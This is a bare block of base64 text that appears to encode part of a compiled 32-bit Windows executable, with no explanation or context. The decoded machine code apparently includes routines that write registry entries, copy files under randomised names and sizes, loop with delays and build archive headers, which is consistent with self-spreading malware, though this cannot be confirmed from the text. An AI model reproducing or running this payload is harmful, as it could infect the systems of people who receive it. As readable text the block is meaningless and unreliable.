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 7IHsDAEAAICl9P7//wBTjYX0/v//aAQBAABQagFobQlBAOhP0///WVlQaFICQQBoAgAAgOiu 5P//jYX0/v//UOh5/f//D76F9P7//4qd9v7//1DobhkAAIPEHINl+ACIRf+KRfgEYTpF/3Q8 gKX2/v//AIiF9P7//42F9P7//1D/FczQQACD+AOInfb+//91F/91CI2F9P7//2iuYEAAUOhv 3f//g8QM/0X4g334GnyxM8BbycIEAFZohQlBAP90JBDogRUAAIt0JBBW6GcWAACDxAwzyYXA fguAPDFAdAVBO8h89Ug7yHwEM8Bew41EMQFQ/3QkEOhcFQAAWVlqAVhew1WL7IHsFAIAAIA9 1DJJAABWD4SbAAAAgD3QMUkAAA+EjgAAAIN9EACLdQh0ElboA7b///91DFbo0sD//4PEDGpk aAABAABqGWjUMkkAjY3s/f//6NjJ//9qBGoKjUWcagNQ6L3U//+DxBCNRZyNjez9//9Q6DvO //+DxmSNjez9//9W6OrO//9o0DFJAI2N7P3//+gxzv//jY3s/f//6MTK//+FwHQQjY3s/f// 6FDK//8zwF7Jw/91DOh2FQAAWVCNjez9////dQzo9Mr//42N7P3//4vw6CbK//8zwIX2D5TA 689Vi+yB7BgDAABWi3UIjYXo/P//UFbotv7//1mFwFl1BzPA6boAAACDfRAAdBJW6B61//// dQxW6O2///+DxAxqZGgAAQAAjYXo/P//ahlQjY3s/f//6PHI//9qBGoKjUWcagNQ6NbT//+D xBCNRZyNjez9//9Q6FTN//+NRmSNjez9//9Q6APO//9WjY3s/f//6E7N//+Njez9///o4cn/ /4XAdBCNjez9///obcn//+lr/////3UM6JMUAABZUI2N7P3///91DOgRyv//jY3s/f//i/Do Q8n//zPAhfYPlMBeycNVi+yB7AAIAACApQD4//8AgKUA/P//AI2FAPj//1D/dQjoxv3//42F APz//1D/dQzot/3//42FAPz//1CNhQD4//9Q6ARlAACDxBj32BvAQMnDg+wQVVZXg0wkGP+9 ABAAAGoBVb7U8EAA/3QkKDP/iXwkIFbops///4PEEIXAD4XvAAAAV1boTtD//1k7x1mJRCQQ D46yAAAAUzPbhf+JXCQQfjNTVuj+z///WVlQV1bo9M///1lZUOhC////WYXAWXQIx0QkEAEA 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 